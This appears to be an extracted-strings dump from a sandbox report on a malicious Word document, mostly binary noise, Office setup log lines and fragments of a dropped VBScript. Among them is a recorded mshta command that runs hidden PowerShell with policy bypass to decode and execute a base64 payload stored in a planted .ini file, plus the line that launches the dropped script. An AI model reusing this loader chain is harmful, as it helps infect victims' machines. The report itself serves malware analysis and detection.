v+iv/"`bhx5*o_Ctz$jn~XWtLfXXOl<?8cQfs>+0c91e2#SSSYN&ep~a;Xdf>}X[-GiUo|>%BYBi/v_T;a*_64S_r]+JN+y\7~3Wl}A6T|ZZAE%$3~Zw^B_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

V./_N\3zfa|ZNith)N60w\Jf7?n2=>,^}E"O18Ua=*p.U=dWRY|W4n//@#.zZ_-ome'eByrUZo{{~\Ixf`I<OS{7wcbpVn&0,vTqV

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

v.D*#n`1}fU_'.?,}{v7>vW~-whq]dz|03fDHj8GE<|4{xqp;mFWMEv9xv~{mj0fegb IB

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

V219Q!=&n*egdT'@yx+3ClDW;XZ[[m2Q=GJ8ag

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

v6oHB#%;IOBJ>J$xw@s[5'Q

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

v9pS`nrr~UV)(v w_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

V;*?yH>"m*::J{SiSjLwSHj+"SA_`Xb.+*zKEG{wjO[UiyTHtuHNDEU8<U!-*zG8?P{@Z[GS''s{*CXtwuCiX<VViQqGO#2iRE

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

V=.,~~W_W_?+{y&y.%ZVO>^_dn;%"O)<zDxVn2;VbzzSbnrrRbn'6e5>}_<~'&019!f0#(\YYc"dcX[}0-'tvgXda

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

v@!] 9EL(WaqyQkrg"P{?R!,`L|C9:,:;T0%W}ATOO&^0BF88Tq'^}5qn?gL8oF{L'i99{7F9+qI~O,wrAe_mDcFf2&'y _S&})`gE:m'qTZ)kV8:HgY

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

v@SpaU,AAD/vDAB0UD

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

v`*@fwoPF6U,'`rbDm#S0aD12\2#$d~O};z'+u'Sg)@zP[0UqCLV;.l\y'QiN="!']Sw_5l@kC

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

vALue = 0

Ansi based on Dropped File (ConfManagerNT.vbs)

value = dict(name)

Ansi based on Dropped File (ConfManagerNT.vbs)

vALue = VaLue * 52 + (asc(MId(BbBB, i, 1)) - 40)

Ansi based on Dropped File (ConfManagerNT.vbs)

vaLUe = VAlue \ 256

Ansi based on Dropped File (ConfManagerNT.vbs)

VBAFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

VBAHelpFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

VBAWarnings

Unicode based on Runtime Data (powershell.exe )

vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run""powershell.exe -w 1 -exec Bypass -nologo -noprofile -c iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((get-content %ALLUSERSPROFILE%\SYSTEM32SDK\ProjectConfManagerNT.ini))));"",0 "))

Ansi based on Process Commandline (mshta.exe)

vd=8@%40K;ay;+'kw7}^Vr%<T<;B}.1;PA{=3>ZWqgw5ZvyaW|!WF8Ps>*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

ve.K?[G8sIs=TyY"G=v7|Brzn3:a'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Verify file signature in "%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Setup.exe"

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Verify file signature in "%TEMP%\Setup00000b84\OSETUP.DLL"

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

VETbat75N(kF*lB#kmav=H&#SJR*IM?D

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

vf.0(@8!oCnGFN>^5?)u5V[SL*3.`h~z0mFLv;--h"*&N@Mc;lARX#Ks-|!F[pO6mO%uER!#'w>{<jN:Xhl{RIjn'x:;c$E%:9]6N@+C,rAiPW;M\uU)Y2bGIyy,ZPwlxyvi3$:!_~9F'~OxPDD{=1"W"DDDyO;ZY+o!Qj[dU7'#g/fI12k[de(CKtllMuZ;O##?3

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

vfCf`x^yIyd\,$wo*KvOW?YN]+CDW+ok#e^m,9YX!r:zse:t&<snN4CxWx[$U242StqK'Wgrzy[7wV],W,lWeq{,VGKhiofe0WFV^l{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Vg7{<}a}D &^i

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

VHM>a$O!3ZbbO*#l:gQd^.kfgtL]+zu&{:,/;TAhzm;,s<t]:4unOJADx{|K+pB?M )6#Op;N/s

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

vIEJ&L|:ya%;{x<%_fa<&tb=b[MI, A$|/RsG6dyszx#wHMt6Y,GhK]:wIRQLv`FvwZe:g"7sOz7.d(4LCv

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Viner Hand ITC

Unicode based on Runtime Data (WINWORD.EXE )

Visio32:absent

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

VisioPiaReg32:absent

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

VisioPreviewerFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

VisioPreviewerIntl:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

VisioPreviewReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

VJcV;c/Wg1`T,{3=7'Wa=LMva6UUki"3k%Z$W'}@UE$=h

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

vL`Zewy%rwoOaOK|*HZL!zU2:zp:hM?+mzL30 :10GDPA<`L+iUqndltC" LK?P^O8e5 "C;jiLM{X:[M';-~dl"N}sir|?"0WXOpULIv=utV[n*PKrW]Tl@r$Ox@xbj^|J<*w}Fzf!_lyk\-7`LzMJ}%x?TO^=8.4BU$=|*NxB{u?h(rAWo~ZAkp&hagkp&hagkp&hagkp&hagkp&hag;YuCr[~lg4?b*t%}-8a<]IW?9"3b`jsFqkV6O%tpEXIicg+x*r~*g_~y!y~anGR:|Tn5Y-H

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Vladimir Script

Unicode based on Runtime Data (WINWORD.EXE )

VMLpfTRIGD="W"

Ansi based on Dropped File (ConfManagerNT.vbs)

VMUh=UqPIUC2_< 813Wmesp*m#[7W+UM<P='0Ki]o'Ud:_}U`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

VoU#H2<4$JX]vvO0l6;Sj4\x|\u|m;=7~

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

VPt6AgWr+m9m!<4?"_XX44t`)Fys7see903Yts]oXUmF} &u/ xB/~-S)p?J/p2{y|,#?N^f?7?+slD#|VUc5h^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

vQ%'f{a`M3qK<~b'{0rhFv!'Jzvn# x*=]D+=|H@{7_W_'oA)=xW?|EvZU?wah@O['O'O#}4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

vQajtgqE[]}~7Vjr3t"m!s]a#yv%h{#IvZ. v|r[/9lFz#

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

VSCommonPIAHidden:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

VSTAIDEFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

VSTO:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

VSTOCLR35:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

VTGTgmt!lCRnpO&52'zH+3Xo@=;|d-@75@Z@trU+5gf`oUm]7XN'JFu:v=:73}F~ksC[9(b*~p*!RnvaCm@_v/}VIe#39J+l6DFp8~tZS<@h;^!w>@]

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

VUHr@rhf|}XUa!<iX([UW

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

VU~<[CPCXEX\)Rh<!W

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Vve0oO{_CuM*Wf~nQ2v+:3Wr|v!QWrzv&'ORe*#)Kn{Or

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

VW*Dqv;=ks[Q+C&,|>xlIS#\o:I"$]\ k$+Rie#g"j3iu"pJ=CTDQGFGDjuc {XL&w{g*|er

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

VWvCj]U)Ftu'Yw/X+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

VWXo,vuKW.c%_3}ZB3KO[Yq[#ns,Ya%F~&.vQ&V]}LxjQKi<2KWxQA.PdC!Xmu?C^!

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Vy|n6R.;T_u?'?H}$4;5z}Go^~<yy*=?}uukZ/|?W?<tj|GWQ)ebi

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

v~'wZ9OEKov9S5nXu}]b'NU

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

w.~[E?opl?:^gOUNfM~Y"+^~}=go+b"vd=Pvu~Gwo>l-{.zEp5a]2&zf3fb=YX"#M[;]DokQWAOO>C"m^9<zxU__f?8"k[~r|#"pgw^v3i~v~_^n{n

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

w/'+*0FNgKL.]2lPOWimo(x9%7!tz%l

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

W/8y8+b-,,(9B'288(299ifE%tYQgtE+gWQ>Zv%dH=>]RD<f,/,%)Z2Yg8

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

W/|2w11rN9D_t4H/EdFt\]Gi;C'usdGlmW7It!C(HW_k}rt8,x,

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

w0 sg_2vjtl<5f3Ex.4yO{\viy]C`LB

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

W1UT\*Jiv(s>QLI)tt

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

w1{w(<Fo<V"$"Gg%S8RR ;Xa<sNq6x:WW

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

w2+k<qMhZG%_4^z>BcjR`(Rq4,*{G:GEP_U156i~&:ZywtwJ

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

w4Noi7q{>:!p"n?oC:j,8vNws|7@?:!y'=CAwg{]Y#nhc&{??H,2AJy&%4TiNWKo {\CW<'lY)(<Cw5rzon,/TP@W

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

W5|`k{iIm#EZ&Lt'

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

W66W377[[w7kHagO|#$$YIU<&2%}dEHE=;V^8$0r-.pJ\{{=?'|nR&@m##?K>r: [GJ)wC|fSY]BoW$oliL?-&t$!L]c>LgH;24%?8dZCoG 361`dX0vf+oUF&cy#/1g+Tl!j2SWc]?1Z?B6!y4TV;y:o^%E9rPiVd\>dYzZI CDgf93O Q0;\|HKB=lT Zdi(uXa{$B_Nws;IP:z[R^{5u=? 6"~lc!34CFH!H`&OtX*S)7m~#6~Oz#Au#Ov?*E2`M7Imr}rr QIo.ccQ!GF"i,v(

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

w9"*YU63_Uhiq,m*,f*>/M3yn8#3>7HNiQ>zh0RM

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

W9;r=;]_7y+=t@nTz*ry7=]bc%>?eN;\M+"2dDr

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

w@n])#M<j:#2<:R<WDpYOzv=>$L&{%SL&<">u|MF(e;<*\VdHjOQ=JT\C62ZGRzEd!z*\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

w^UoE]YzE+zelFTNLFfl\vcMT??BmoA75~2~NqBN64_=:|a7,;OR]{Syuuq%~KlQ4VEMtwwsbm`R}9(+F5?4_75^@`cq|UEZrdeJb:3+s&qVFz]W:{iU{

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

W_T<22"CCC2~ X78<dA:

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

WAC_PIARegSPD32:absent

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

wb*?Cs%dlAv[Kxo 7m"6{:FS_nkz>zyz>*8:d'Q*wgJlhV1vdc?^W~yA)KV6._^{nQ"Z}4}sVrb%y7n[nW3\F[u8r\znD(rI?_krgu<ay~8bdSNNQmEB6H*is3z[cuIwfYz^~,zr=>1}vAoo"n.dy]%wjq8VE]GvuOfz|Ax~|Ufv9k42G

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

wC+b#3[MN S{ifhBU!z/2

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

WebDiscussFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

WebDriveFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

WhILE VAlUe > 0

Ansi based on Dropped File (ConfManagerNT.vbs)

WhiteRabbitHidden:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

WHTMLControlEvents

Unicode based on Runtime Data (WINWORD.EXE )

WHTMLControlEvents1

Unicode based on Runtime Data (WINWORD.EXE )

WHTMLControlEvents10

Unicode based on Runtime Data (WINWORD.EXE )

WHTMLControlEvents2

Unicode based on Runtime Data (WINWORD.EXE )

WHTMLControlEvents3

Unicode based on Runtime Data (WINWORD.EXE )

WHTMLControlEvents4

Unicode based on Runtime Data (WINWORD.EXE )

WHTMLControlEvents5

Unicode based on Runtime Data (WINWORD.EXE )

WHTMLControlEvents6

Unicode based on Runtime Data (WINWORD.EXE )

WHTMLControlEvents7

Unicode based on Runtime Data (WINWORD.EXE )

WHTMLControlEvents9

Unicode based on Runtime Data (WINWORD.EXE )

Wi3|Ovn]Bxm1M)C,W!.CE/ccAQ~v8wNt$T[M{KwVRZ3+S6QC^Q0/17'%oDlhZFGK2442)mq@D{I?(7Y~1o,Cd^x=/X~|(eKJ5j,A;Nq}9{|uGs,XwcnL@^1VBBA>DL9B5C3aH.P*dNS&vVFtnhw| a[YUy.fuRIg0+MP(HU<gx

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Wide Latin

Unicode based on Runtime Data (WINWORD.EXE )

wii4kWVxxp+<677e}}]666duuUd27l[oLMO1/feskSr-)F;;;fW`Y!-r9CP0jqW`51xx5a3q}P+(5Mq(n8h^)ix>&jk>n;m~5Mjloo[85Izr

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Wingdings 2

Unicode based on Runtime Data (WINWORD.EXE )

Wingdings 3

Unicode based on Runtime Data (WINWORD.EXE )

WISPFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

WISPHidden:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

wjnOOj[a[~~{W2c$Y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

wmQLwhgxdH="A2>0/QY+VN24:1G8/VH2["

Ansi based on Dropped File (ConfManagerNT.vbs)

WNN_}FF<2<crGt?{CNnCLgG6pM^^9Cb#W=O>gaVOGnIUX~9te<^O]t7SPP<#3_nLq"w3hEjt;D1$?tOEZl;Kvk?n4.pb,du"`w5|OK}YZr,vV<Ow

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

WO2m2EyMB\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Wofr7c3uy@"23v}G

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Word_PIA:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

WordBibliographyFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

WORDBordersFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

WordConverter12Files:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

WordDocument

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

WORDDocumentTemplates:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

WORDFiles

Unicode based on Runtime Data (WINWORD.EXE )

WORDFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

WORDHelpFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

WordPiaReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

WordPreviewReg32:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

WordQuickFormatsFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

WORDSharedFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Wp3/)=n}BD2i[Bz@D'$3ixBWW/y):g{#qqD^lS(I[KX,Vj*

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

WqJY)xF.DG|h/4%]SA_RSc*'i 3 n-pO:Ii2qqque=|@Tnd$GY|-1q$o1f=ygf(HF8RnGX]a?7q%

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

wr5gIet{7t >]rR^XY)}T#Z]/e2TZwo.Z=zGs?$~\4t'4~Rg.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Writing registry value CacheLocation: C:\MSOCache\All Users.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Writing registry value ModifyPath: "%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\setup.exe" /modify PROPLUS.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Writing registry value PackageIds MULTISZ: [~]Office32WW[~]Office32MUI.en-us[~]AccessMUI.en-us[~]InfoPathMUI.en-us[~]ExcelMUI.en-us[~]OfficeMUISet.en-us[~]OfficeMUI.en-us[~]WordMUI.en-us[~]Proofing.en-us[~]Proof.en-us[~]Proof.es-es[~]OutlookMUI.en-us[~]GrooveMUI.en-us[~]ProPlusWW[~]OneNoteMUI.en-us[~]PublisherMUI.en-us[~]AccessMUISet.en-us[~]Proof.fr-fr[~]PowerPointMUI.en-us[~].

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Writing registry value ProductCodes MULTISZ: [~]{90140000-0043-0409-1000-0000000FF1CE}[~]{90140000-0044-0409-1000-0000000FF1CE}[~]{90140000-001F-0C0A-1000-0000000FF1CE}[~]{90140000-006E-0409-1000-0000000FF1CE}[~]{90140000-0011-0000-1000-0000000FF1CE}[~]{90140000-0043-0000-1000-0000000FF1CE}[~]{90140000-002C-0409-1000-0000000FF1CE}[~]{90140000-00BA-0409-1000-0000000FF1CE}[~]{90140000-001B-0409-1000-0000000FF1CE}[~]{90140000-0019-0409-1000-0000000FF1CE}[~]{90140000-0117-0409-1000-0000000FF1CE}[~]{90140000-0015-0409-1000-0000000FF1CE}[~]{90140000-00A1-0409-1000-0000000FF1CE}[~]{90140000-001F-0409-1000-0000000FF1CE}[~]{90140000-001F-040C-1000-0000000FF1CE}[~]{90140000-001A-0409-1000-0000000FF1CE}[~]{90140000-0016-0409-1000-0000000FF1CE}[~]{90140000-0018-0409-1000-0000000FF1CE}[~]{90140000-0115-0409-1000-0000000FF1CE}[~].

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Writing registry value ShellUITransformLanguage: en-us.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Writing registry value SkuComponents MULTISZ: [~]%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Publisher.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Excel.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Office.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Proofing.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Groove.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\OneNote.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Outlook.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\InfoPath.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Access.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Office32.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\Word.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\PowerPoint.en-us\setup.xml[~]C:\Program Files\Common Files\Microsoft Shared\OFFICE14\Office Setup Controller\PROPLUS\setup.xml[~].

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Writing registry value SppSkuId: [~]6F327760-8C5C-417C-9B61-836A98287E0C[~][~].

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

wr|&_F6;$-qE!]Cg!6Y=1r)>%u@:J"#@g-PCG(4g3iKWt!+_7w8 q.+E>9_&]td/'L/CJd!c}}nSn[;e^q:eintLL6@0$@

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

WS 4Q[Ybs@nHx"2Z]5<+F5+7ox<<lUnw[r8CO%I2c%l

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

wscript %ALLUSERSPROFILE%\SYSTEM32SDK\ConfManagerNT.vbs

Unicode based on Runtime Data (powershell.exe )

wscript.echo "</wsman:Results>"

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo "<wsman:Results xmlns:wsman=""http://schemas.dmtf.org/wbem/wsman/1/wsman/results"">"

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo formattedText

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Description_Text & L_Space_Text & oError.Description

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Empty_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General01_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General02_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General03_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General04_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General05_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General06_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General07_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General08_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General09_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General10_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General11_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General12_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General13_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General14_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General15_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General16_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General17_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General18_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General19_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General20_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General21_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General22_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General23_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General24_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General25_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General26_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General27_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General28_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General29_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General30_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Help_Help_General31_Text

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Operation_Text & L_Space_Text & oError.Operation

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Provider_Text & L_Space_Text & oError.ProviderName

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Text_Error_General01_Text & L_Space_Text & L_Error_Text & L_Space_Text _

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Text_Error_General04_Text & L_Space_Text & oError.StatusCode

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Text_Msg_General01_Text & L_Space_Text & oDriver.Name

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strModel & L_Space_Text _

Ansi based on Dropped File (ConfManagerNT.vbs)

wscript.quit(1)

Ansi based on Dropped File (ConfManagerNT.vbs)

WVulll("sLNNunnN&Ml_[[Y1=cB"qHckGDb&lK'_=CLm<>{4=W3x6%<~6+O?|'3*bG8N!!B4C,ajfg03 X!QvG:z9+*j

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

